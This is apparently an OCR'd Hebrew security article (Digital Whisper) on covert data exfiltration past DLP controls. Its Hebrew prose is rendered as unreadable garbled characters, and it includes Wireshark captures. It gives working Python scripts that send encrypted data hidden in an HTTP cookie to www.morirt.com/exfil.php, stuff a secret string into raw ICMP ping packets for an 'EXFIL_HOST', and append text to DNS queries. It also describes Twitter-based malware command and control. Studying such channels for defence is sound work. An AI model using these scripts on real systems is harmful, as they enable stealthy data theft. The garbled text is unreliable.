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2211 _HTTP 71710N9 NITY2 77 NMWORNN [IAIRNN NXIND Y NNIAYN DAY NWA XNAIT? N

[PIN 7Y DA K7X NWURAN NRXE 19X 0190 2V NPONoN 71 K7 DLP-N ndwnw XI9XR NIN71 'XpnY

1770 NI TAN MY DX NN 901,05 DR CHTTP 2110092 "My XTI nwpan

NI7aANY XTI7 0N 1R 7' IR VIYO tep.dport == 80 :XNAIT? NTD 107'S NN .Nwa Np'm .1
.("1>1 8080-1 443 n'n"atNn) 80 VIS X 711 X NIRXI

:D'N2NN INXY7 regex WIS'N D'RNNYT NI017 011 .MIYpnn np'ma .2

r' (GET| |POST) \s.+\s (HTTP/1.[0-1])"'

170'0 7" Daw Nl ,NWYA 77TA1 JHTTP 1nd AXNIY INWN1 12T 11'2V¢ NnY 10X D OX
NIN X7 NI017 7210 .0'7'aNN DX XY IX QWUKT? DXRN 0™Y7NN1,NYTINENYTIN 9D RIpEInn v awr

:N'0ITIV0 HTTP N7'an quTw Xan TN

#!/usr/bin/env python

import sys
import socket

""" Constants """

HOST = "www.morirt.com.com"

PAGE = "exfil.php"

PORT = 80

PROTOCOL = "HTTP/1.1"

GET = "GET"

USER _AGENT = "WhisperAgent/1.0.3"

TERMINATORS = ["Accept-Encoding: gzip", "Accept-Charset: IS0-8859-1,UTF-
8;q=0.7,*;9=0.7", "Cache-Control: no-cache"]

NEW LINE = "\r\n"

request header = ""

request header += GET + " /" + PAGE + " " + PROTOCOL + NEW LINE
request header += "Host: " + HOST + NEW LINE

request header += "Connection: close" + NEW_LINE

request header += "User-Agent: " + USER AGENT + NEW LINE

for term in TERMINATORS:

request header += term + NEW LINE
request header += NEW LINE*2
print "finished building package"

sock = socket.socket (socket.AF INET, socket.SOCK STREAM)
server address = (HOST, PORT)
sock.connect (server address)

sock.sendall (request header)

sock.close ()
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X2 N7'ann DX NIKAT? DN

A *Wi-Fi  [Wireshark 1.12.2 (v1.12.2-0-g898fa22 from master-1.12)] = =
File Edit View Go Capture Analyze Statistics Telephonz Tools Internals Help

coAMAIBEEXZ A¢esnT2/EE QAR FEB%| B

Filter: | http v | Expression... Clear Apply Save

MNo. Time Source Destirlation Protocol Length Info A
43 2.3"40910 192. ]_68 43, 213 230, 255 255. 250 S5DP 175 M—SEARCH ® H'I‘I'P/]_.l
51 2.91015700192.116.242.20 192.168.43.213 HTTP 662 HTTE/1.1 301 Moved Permanently (t
69 3.34898600 feB0::3996:7b3e:c2aff02::c 55DP 153 M-SEARCH * HTTP/1.1
70 3.34920500192.168.43.213 239.255.255.230 55DP 139 M-SEARCH * HTTP/1.1
81 3.65295000 192 168 43, 213 64 233 166. 104 HTTP 252 GET /Exf‘l'l php H‘I‘I’P/l 1
102 4. 32951400 192. 168 43. 213 213 198 96 41 HTTP 305 GET /S‘Fsca cr"l HTI'P/l 1 he

>

[+ Frame 81: 252 bytes on wire (2016 bits), 252 bytes captured (2016 bits) on interface 0

# Ethernet II, src: IntelCor_df:55:50 (00:24:d7:df:55:50), Dst: LgElectr_al:12:6d (34:fc:ef:al:12:6d)

# Internet Protocol version 4, Src: 192.168.43.213 (192.168.43.213), Dst: 64.233.166.104 (64.233.166.104)
# Transmission Control Protocol, Src Port: 3885 (3885), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 198

[+ Hypertext Transfer Protocol

0000 34 fc ef al 12 6d 00 24 7 df 55 50 08 00 45 00 4....m % . .E.
0010 00 ee 48 06 40 00 80 06 de 34 cO a8 2b d5 40 e9 H.@ . .4 +.@.
0020 a6 68 Of 2d 00 50 d8 58 2f 71 2d B4 B3 e0 50 18 .h.—.P.X /q .P.
0030 00 40 cc T4 00 00 47 45 54 20 2f 65 78 66 69 6cC B L.GE T /exf1
0040 2e 70 68 70 20 48 54 54 50 2f 31 2e 31 O0d Oa 48 .php HTT P/1.1.
0050 6f 73 74 3a 20 77 77 77 2e 67 6f 6f 67 6c 65 2Ze  o0st: waw .goog1e.
0060 63 6f od 0d Oa 43 6f 6e 6e 65 63 74 69 6f 6e 3a  com..Con nection:
0070 20 63 6c 6Ff 73 65 0d Oa 55 73 65 72 2d 41 &7 65 close.. User-age
0080 6e 74 3a 20 57 68 69 7 70 65 72 41 67 65 6e 7 nt: Whis peragent
0090 2f 31 2e 30 2e 33 0d Oa 41 63 63 65 70 74 2d 45 /1.0.3.. Accept-E
00a0 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a 41 ncoding: gzip..A
00b0 63 63 65 70 74 2d 43 68 61 72 73 65 74 3a 20 49 ccept-Ch arset: I A

@ M File: "C:\Users\James\AppData\Local\Temp... | Packets: 187 . Displayed: 20 (10.7... | Profile: Default

190N Wnwn TN nTYUN .cookies-N 7w nTWN DR '7¥17 'O TIa DLV DTI'Y NIWYYT NI01T7 7N
Y'RY 1IOXK ,NIYYT VD .NIN'K 1Y YNNYNNY NMYY N'DINN NIN'K INK7Y ,Unnun? nwn |
nITNY IX wMY7 YT 2im DNX L("MITN DY 0myo KNl cookie-n MIX 772InNn 18Dy

JUXNND D'WINRD 707 DAl wnNwNY? D2 wNMA KIN QT 7Y 19102 T NTY D7 .00 T'NY DMK

NN TN MV AT Y 2v 21077 nom

#!/usr/bin/env python

import sys

import socket

from Crypto.Cipher import ARC4
""" Constants """

HOST = "www.morirt.com"

PAGE "exfil.php"

PORT = 80

PROTOCOL = "HTTP/1.1"

GET "GET"

USER_AGENT = "WhisperAgent/1.0.3"

TERMINATORS = ["Accept-Encoding: gzip", "Accept-Charset: ISO-8859-1,UTF-
8;9=0.7,*;9=0.7", "Cache-Control: no-cache"]
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NEW LINE = " \r\n"
SECRET KEY = '01234567"
SECRET TEXT = "Digital Whisper is whispering over the wire"

# Create the encrypted data

objl = ARC4.new (SECRET KEY) # RC4 obj
cipher text = objl.encrypt (SECRET TEXT) # Encrypt
secret = base64.b64encode (cipher text) # Base64 encode for ASCII

representable data

request header = ""

request header += GET + " /" + PAGE + " " + PROTOCOL + NEW LINE
request header += "Host: " + HOST + NEW LINE

request header += "Cookies: " + "PHPSESSID=" + secret + NEW LINE
request header += "Connection: close" + NEW_LINE

request header += "User-Agent: " + USER AGENT + NEW LINE

for term in TERMINATORS:

request header += term + NEW_ LINE
request header += NEW LINE*2
print "finished building package"

sock = socket.socket (socket.AF INET, socket.SOCK STREAM)
server address = (HOST, PORT)
sock.connect (server address)

sock.sendall (request header)

sock.close ()

Ta%2 omion D"?IPIUI'\D NMYODKXNA NIIAX NOIYN DY NITTINNN

D'71710N9N 'DW ynwn .white-list 0'01 7V 0'217101N9 W'RI N'7'7D AN'ON DRI 1IX NIAY 0'N'YY
NaNynn M2 TCP nal UDP DA 07710 1XYW ,XWIIN NIX7 ,02 N .DNWIRAND 17X7 019 D'MiIon
X DTIPN 7702 110 (N2 DMy MIpW '92) UDP 710N9n 1NDW X7 NDIYNN 'W'NONWI NRTN
X TCP Ix UDP N7 791 1'R MWK 7171009 1Y 70120 DT DAY KIDX N X HTTP-n 7171009
DXN PITA?7I MIYPN NI7pN ONK? 07NM VYNd 91X 1'7Y DDNANON T 'WaR 17017 TINN 1M

IR NIRXND TV 1RDNIED'MMY
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D'2¥N] 'M"YID XY NDINY 712! DA AT 717009 ,NRT DY .07 72w TN o' ICMP-n 71710109

"echo request” IX "ping" nnwa nyiTn ICMP 8 Nn'7'an N2 nan .0'M"ion

g Capturing from Wi-Fi  [Wireshark 1.12.2 (v1.12.2-0-g898fa22 from master-1.12])] - O
File Edit View Go Capture Analyze Statistics Telephony Tools Internals  Help

o dmd BEXZ QAesnT S |EE Qaal FEB% B

Filter: | icmp v | Expression.. Clear Apply Save

Mo, Time Source Destination Protocel Length Info
53 7.57208600192.168.1.21 23.229.148.134 ICMP 74 Echo (ping) request id=0x0001, seg=
57 7.81045800 23.229.148.134 192.168.1.21 ICMP 74 Echo (ping) reply 1d=0x0001, seg=
61 8.58414800192.168.1.21 23.229.148.134 ICMP 74 Echo (ping) request id=0x0001, seg=
65 8.82791500 23.229.148.134 192.168.1.21 ICMP 74 Echo (ping) reply 1d=0x0001, seg=
77 9.59930200192.168.1.21 23.229.148.134 ICMP 74 Echo (ping) request id=0x0001, seg=
78 9.83215100 23.229.148.134 192.168.1.21 ICMP 74 Echo (ping) reply 1d=0x0001, seg=

>

= Internet Control Message Protocol ~
Type: 8 (Echo (ping) regquest)
Code: 0

Checksum: Ox4d4f [correct]

L P o W B A ttTatata s

oooo  E

0010 bl 00 00
0020 00 4d 4f
0030 6a 6b 6C
0040 63 64 65

@ [ | Frame (frame), 74 bytes | Packets: 291 . Displayed: 6 (2.1%) | Profile: Default

:D'N2N 02NN NadIMI P 7170n9 7y n2dn ICMP n'7\anw n'a
8- 17w NN ,NYpAN 210 7 TNRN. @

NULL 079 mgnm - nUpan iR 7w TNRN. @

.checksum-7 p'na 1w e

BEW N7 DMWY e

LE2w AnM70Mma v e

.BENN907D0M1 v e

.LENND07 0N Y e

J2'009N 9IN] 3-z DN X7INF N7 .0NMIN W DM X e
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NNAN NIXNA ICMP n''an ninaY Xisx 721

File Edit View Go Capture Analyze Statistics Telephonz Tools  Internals  Help

codmd BERXR Aes»nTE/[EE aaan #EB % B

Filter: |icmp Expression.. Clear Apply 5ave

Ma. Time Source Destination Protocol Length Infe
5255 479. 947695 192.168.1. 192.168. ICMP 234 echo (ping) request id=0x2al0,
5256 480.770875192.168.1. 192.168. ICMP 234 Echo (ping) regquest id=0x2a00,
5259 481.054585192.168.1. 192.168. ICMP 234 echo (ping) request 1d=0x2a00,
5276 484.860960192.168.1. 192.168. ICMP 234 Echo (ping) reguest id=0x2a00,
5279 485.202826192.168.1. 192.168. ICMP 234 Echo (ping) request id=0x2a0l0,
5292 485.822792 192.168.1. 192.168. ICMP 234 echo (ping) request id=0x2al0,
5293 486.287252192.168.1. 192.168. ICMP 234 Echo (ping) reguest id=0x2a00,

e i =

LIICET TS Ul U1 MES3ages FioLotu T
Type: 8 (Echo (ping) reguest)
Code: 0O
Checksum: 0x0000 [incorrect, should be 0xd09f]
Identifier (BE): 10752 (0x2a00)
Identifier (LE): 42 (0x002a)
Sequence number (BE): 256 (0x0100)
Sequence number (LE): 1 (0x0001)
# [No response seen]
= Data (192 bytes)
Data: 04561 27d54151515151515151515151515151515151. ..

. AQQQOQC qqqqngn

0QQQQQAQ QQQQQaQ!

0QQOQQAQ QQQQOO!

0QQQQQAQ QQQQO0N!

00QA0040 QQQA0G0HH
nNRN

. @ Data (data.data), 192 bytes Packets: 5362 - Displayed: 7(0.1%) - Dro... | Profile: Default

X2 TN Nty

#!/usr/bin/env python

import os
import time
import struct
import socket

# Constants
ICMP_ECHO REQUEST = 8

LOCALHOST = "127.0.0.1"
EXFIL HOST = "192.168.0.1"
NULL = "\x00"

ID = 42

# Socket setup

icmp = socket.getprotobyname ("icmp")

my socket = socket.socket (socket.AF INET, socket.SOCK RAW, icmp)
my ID = os.getpid() & OxFFFF

dest addr = socket.gethostbyname (EXFIL HOST)

# Packet setup
my checksum = 0
header = struct.pack ("bbHHh", ICMP ECHO REQUEST, 0, my checksum, ID, 1)

D'DMX I'N X7 110 '9PINY 0'9'0
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bytesInDouble = struct.calcsize ("d")
data = (192 - bytesInDouble) * "Q"
data = struct.pack("d", time.time()) + data

# Send it

header = struct.pack("bbHHh", ICMP ECHO REQUEST, O,
socket.htons (my checksum), ID, 1)

packet = header + data

my socket.sendto (packet, (dest addr, 1))

# Close
my socket.close ()

ICMP 2 %y yT' NNavn .1'9'%y N> Q NIFMIXNN 201N N2VY VTN 72 nnkavw nikd? il

YR 7NN 1R RIN 1'WDYN

#!/usr/bin/env python

import os
import time
import struct
import socket

# Constants
ICMP_ECHO REQUEST = 8

LOCALHOST = "127.0.0.1"

EXFIL HOST = "192.168.0.1"

NULL = "\x00"

ID = 42

secret string = "Digital Whisper is awesome! "

# Socket setup

icmp = socket.getprotobyname ("icmp")

my socket = socket.socket (socket.AF INET, socket.SOCK RAW, icmp)
my ID = os.getpid() & OxFFFF

dest addr = socket.gethostbyname (EXFIL HOST)

# Packet setup

my checksum = 0

header = struct.pack ("bbHHh", ICMP ECHO REQUEST, 0, my checksum, ID, 1)
bytesInDouble = struct.calcsize ("d")

data = secret string + (192 - bytesInDouble - len(secret string)) * "5"
data = struct.pack("d", time.time()) + data
# Send it

header = struct.pack ("bbHHh", ICMP ECHO REQUEST, O,
socket.htons (my checksum), ID, 1)

packet = header + data

my socket.sendto (packet, (dest addr, 1))

# Close
my socket.close ()
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File Edit View Go Capture Analyze Statistics Telephony Tools Internals  Help
oA BEXR AesaTL2|EE QaQD #0B % B

Filter: | icrmp v | Expression.. Clear Apply Save

Na. Time Destination Protocol Length Info
B85 17.6416310192.168.1.21 192.168.0.1 234 echoe (ping) request id=0x2a00, seqg=

# Frame B5: 234 bytes on wire (1872 bits), 234 bytes captured (1872 bits) on interface 0
® Ethernet II, Src: IntelcCor_df:55:50 (00:24:d7:df:55:50), Dst: Sagemcom_e9:60:b6 (4c:17:eb:e9:60:b6)
# Internet Protocol Version 4, Src: 192.168.1.21 (192.168.1.21), Dst: 192.168.0.1 (192.168.0.1)
E Internet Control Message Protocol

Type: 8 (Echo (ping) reguest)

Code: 0

Checksum: 0x0000 [incorrect, should be 0x54f9]

Identifier (BE): 10752 (0x2a00)

Identifier (LE): 42 (0x002a)

Sequence number (BE): 256 (0x0100)

Sequence number (LE): 1 (0x0001)

w ThA racnnnsa caand

0000

0010

0020
.ADigita
rois awe
55555555
55555555 55555555

ile: "C:\Users\James\AppData\Local\Temp... | Packets: 112 . Displayed: 1 (0.9%) . Drop... | Profile: Default
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N78 DNX DN 1YNY7 O DINN Y DNNK WNNWRY? NN DI'YIM'YN - NIRROLN NNR
JIND N¥pP 27017127 DY72 DX PIN NITRA 770 .107Wn [DIN NITR  NINDY DMYY 107 DNYONN

N>YNd twitter NDIYNI WIN'Y NNWY NRT N7 .Flashback N1'n NRT npria? npnam xXnarT
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) o 1] % 1 -
[‘Zwﬁfé(-i@({m Home Profile Find People Settings Help Sign cut
Name upd4t3
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Tweets 25
Folow Favorites
Actions
aHROcDovL2)pdC5seS8xN2EzdFMc black upd4t3
Seltiads st o Following

aHROcDovL2)pdC55eSOMTZZSTyBodHRWOIBvYmICLmx5L0ItZ2

aHROcDovL 2)pdCSseS8XNZWORMEgaHROcDoVLZ)pdC55eS8xN

aHROcDovL2)pdCSseSSwbVN 1YyBodHRwWOI8vYmIOLmxSLzE3b
aHROcDovL2)pdCSseSSHaHVVASBodHRwOIBvYmIOLmxSL1FQC
aHROcDovL2)pdCSseS9RakFawQ==

aHROcDovL2)pdCS5seS83UGFEQQ ==
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00000000 bf ee 01 00 00 01 00 00 00 00 00 00 06 6d 6f 72 ........ ..... mor
00000010 69 72 74 03 63 6f 6d 00 00 01 00 01 irt.com. o
00000000 bf ee 81 80 00 01 00 01 00 OO0 00 00 06 6d 6f 72 ........ ..... mor
00000010 69 72 74 03 63 6f 6d 00 00 01 00 01 cO Oc 00 01 irt.com. ........
00000020 00 01 00 00 02 57 00 04 17 e5 94 86 ..... W..

15 DNS 7w (1034 X71 1035-2 n1N2 ,nT NMzna) RFC-n 7m n'7'ann nian N Duwn? nioa? 7sn
.NNAIANI N7 2NN NN TXD 'anY?

.(Transaction ID) N7'ann 1N907 DNIMY DUIYRIN DTN W @

Xx01x00 - '01TIVO NYA AT I'N AT AT NN - DT e

X00x01 n7¢ NN .NIN7'RY NINdD7 DML Y @

X00x00 - naRNN NIND7 DM YW @

.NULL-> 'Rwn7 - DNINY 0'950N1 D'N Y @

AN7YY DUNN NIMD 197 WK DYANn n'n e

A nnivn? x00x01 17w npna - NAMdN 2107 DN Y @

IN Class N7¥ NN ,NYpan aI07 0'M v e

N2 TIPN NNTY2 WRIN N1 DNS n'7'an ni7w'? nioa? 731 [Xon

#!/usr/bin/env python

import socket

FAKE DNS = "www.morirt.com"

DNS_PORT = 53

NULL = "\x00"

host to resolve = "www.not interesting hostname.fake"
res = host to resolve.split(".")

dns = ""

dns += "\x04\x06" # Transaction ID

dns += "\x01\x00" # Flags - Standard Query
dns += "\x00\x01" # Queries

dns += "\x00\x00" # Responses

dns += "\x00\x00" # Authorities

dns += "\x00\x00" # Additional

for part in res:
dns += chr(len(part)) + part

dns += NULL # Null termination. Here it's really NULL for
string termination

dns += "\x00\x01" # A (Host Addr), \x00\xlc for AAAA (IPv6)

dns += "\x00\x01" # IN Class

addr = (FAKE DNS, DNS_ PORT)

s = socket.socket (socket.AF INET, socket.SOCK DGRAM)
s.sendto (dns, addr)
s.close ()
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XN N7'2aNN DX NIXKAY 711 nxOn NKYI

*Wi-Fi [Wireshark 1.12.2 (v1.12.2-0-g898fa22 from master-1.12}] = B

File Edit Miew Go Capture Analyze Statistics Telephon! Tools  Internals  Help

codms BOXE Aes»nTFLIEE _eaAan @$EB X B

Filter: | dns v | Expression.. Clear Apply Save
Mo, Time Source Destination Protocol Length Info ~
3 UL LULTUSUU LYL . LUB. L. £3 LEB.U.U. £E LM Us Sldliudl U YUEl Y UAUUAU A NULL
7 0.40909500 fe80::F03d:d6da:454 Ff02::1:3 LLMNR 84 standard query OxcOf8 A NULL
8 0.41024200192.168.1. 25 224.0.0.252 LLMNR 64 standard query OxcOf8 A NULL
10 0.51156200 fe80::T03d:d6da:454 Ff02::1:3 LLMNR 84 standard query OxcOf8 A NULL
11 0.51261100192.168.1.25 224.0.0.252 LLMNR 64 standard query OxcOf8 A NULL
36 7.40414900192.168.1.21 23.229.148.134 DNS 93 standard query 0x0406 A www.not_interesting_
62 13.5161650 fe80: :T03d:d6da:454 ff02::1:3 LLMNR 84 standard query Oxeab? A wpad
63 13.5173270192.168.1.25 224.0.0.252 LLMNR 64 standard query Oxeab? A wpad o
>
T T T R L L= e e e e e e
Internet Protocol Version 4, Src: 192.168.1.21 (192.168.1.21), Dst: 23.229.148.134 (23.229.148.134) ~
User Datagram Protocol, Src Port: 59067 (59067), Dst Port: 53 (53)
| Domain Name System (query)

Transaction ID: 0x0406
Flags: O0x0100 standard query
Questions: 1

Answer RRS:

0

Authority RRs: 0O
Additional RrRs: O

= Queries

B www. not_interesting_hostname. fake: type A, class 1IN
Name: www. not_interesting_hostname.fake
[Name Length: 33]
[Label Count: 3]
Type: A (Host Address) (1)

Class: IN (0x0001)
>

0000
0010
0020
0030
0040 74 72 65 nteresti ng_host w
Ancn IR T T e .
@ [*7 | Frame (frame), 93 bytes | Packets: 69 - Displayed: 13 (12.8%) - Dropped: 0 (0.0%) | Prefile: Default

TN 17 ax' Wireshark m> 25 'mn nixa%1 n72ana 02w nimw oy 7nw? 2'nninY? 221 1rwdy

DX .NYTINN 9102 NdD DNO VTN §'0In7 N0 .N1'PN RN n7'ann ‘Nl malformed packet

ADTYTIR DRY' DAPN TV N7ANNY KN X2 TNy onn DIz 7 75n0)

14

DX I'N X7 110 'OPINY 0'S'0
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Eile Edit View Go Capture Analyze Statistics Telephonz Tools  Internals  Help

C0OdE i BEERXZS | Aes+dTF L Q@B @®mx| -

Filter.|dns Expression... Clear Apply Save

Time Source Destination Protocol Length Info

L02221200 TebBU: 1 J990:/bdeicZaTru2: 13 LLMNR 54 Standard query Ux4a/c

. 02256000 192. .1.21 LLMNR 64 standard query 0x5702

. 02270400 192. 1 LLMNR 64 standard query 0x4a7c

c 1 standard

114 15.7633930192. .1, .8.8. DNS 70 standard query Oxdfa8 A walla.c.i
118 15.8440070192. 1 DNS 70 standard query Oxdfa8 A walla.c.i
123 15.94144208.8.4. DNS 133 standard query response Oxdfa8 No
125 16.0219510 8.8.8. 192.168.1.21 DNS 133 standard query response Oxdfa8 No
>

e o R Ll I T T e v e e e L W v P e T e L e e L LT e e S T e

Internet Protocol version 4, src: 192.168.1.21 (192.168.1.21), DsT: 23.229.148.134 (23.229.148.134)
User Datagram Protocol, Src Port: 50084 (50084), Dst Port: 53 (53)
= Domain Name System (query)
Transaction ID: O0x0406
Flags: 0x0100 standard query
Questions: 1
Answer RRs: 0
Authority RRs: O
Additional RRs: 0O
= Queries
= www.not_interesting_hostname.fake: type A, class IN
Name: www.not_interesting_hostname. fake
[Name Length: 33]
[Label cCount: 3]
Type: A (Host Address) (1)
Class: IN (0x0001)

~

.Q .
. . not_i
nteresti ng_hostn

A Falen 2]

@ @ File: "C:\Users\James\AppData\Local\Temp... : - Displayed: 9 (6.4%) - Drop... | Profile: Default

72N NIV DX INWN NIRAYT 7211 2NN 70101 DX X

File Edit View Go Capture Analyze Statistics Te\ephon! Tools  Internals  Help
0@ dAE i BEORXE Aesd TR e QB dEEmsx B

Filter: |dns |E| Expression.. Clear Apply Save

Time Source Destination Protocol Length Info
02221200 Tedl: [ 990 /hje:cZatTOZ: 1 3 MNR B4 Standard query Ux4a/c

. 02256000 192. .1.21 224,0.0.252 LLMNR 64 standard query 0x5702

. 02270400 192. 1 224.0.0.252 LLMNR 64 standard query Ox4a7c

. 69802300 192. il 23.220.148.134 5 standard

114 15.7632930192. calc 8.8.8.8 DNS 70 standard query Oxdfa8 A walla.c.i
118 15. 8440070 192. 1 8.8.4.4 DNS 70 standard query Oxdfa8 a walla.c.i
123 15.9414420 8.8.4. 192.168.1.21 DNS 133 standard query response Oxdfa8 No
125 16.0219510 8. 8. 8. 192.166.1.21 DNS 133 standard query response Oxdfa8 No
>

Frame 30: 192 bytes on wire (1536 bits), 192 bytes captured (1536 bits) on interface 0
Ethernet II, Src: IntelCor_df:55:50 (00:24:d7:df:55:50), Dst: Sagemcom_e9:60:b6 (4c:17:eb:e9:60:b6)
Internet Protocol version 4, Src: 192.168.1.21 (192.168.1.21), Dst: 23.229.148.134 (23.229.148.134)
User Datagram Protocol, Src Port: 50084 (50084), Dst Port: 53 (53)
Domain Name System (query)

Transaction ID: 0x0406
Flags: 0x0100 standard query

Questions: 1

Answer RRs: 0

OEEBBE

gital wh

a super
society

control

Tlizards

rol the world.

R T= RN}

. [2{ Domain Mame Service (dns), 130 bytes : » Displayed: 9 (6.4%) - Drop... | Profile: Default
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#!/usr/bin/env python

import socket

FAKE DNS = "www.morirt.com"

DNS_PORT = 53

NULL = "\x00"

host to resolve = "www.not interesting hostname.fake"
res = host to resolve.split(".")

dns = ""

dns += "\x04\x06" # Transaction ID

dns += "\x01\x00" # Flags - Standard Query
dns += "\x00\x01" # Queries

dns += "\x00\x00" # Responses

dns += "\x00\x00" # Authorities

dns += "\x00\x00" # Additional

for part in res:
dns += chr (len(part)) + part

dns += NULL # Null termination. Here it's really NULL for

string termination

dns += "\x00\x01"

dns += "\x00\x01"

# A (Host Addr), \x00\xlc for AAAA (IPv6)
# IN Class

# Here we try to exfiltrate:

dns += NULL

dns += "Digital Whisper is a super secret society actually controlling
the lizards who control the world. " + NULL
addr = (FAKE DNS, DNS PORT)

s = socket.socket (socket.AF INET, socket.SOCK DGRAM)
s.sendto (dns, addr)
s.close ()

air-gapped n>yn
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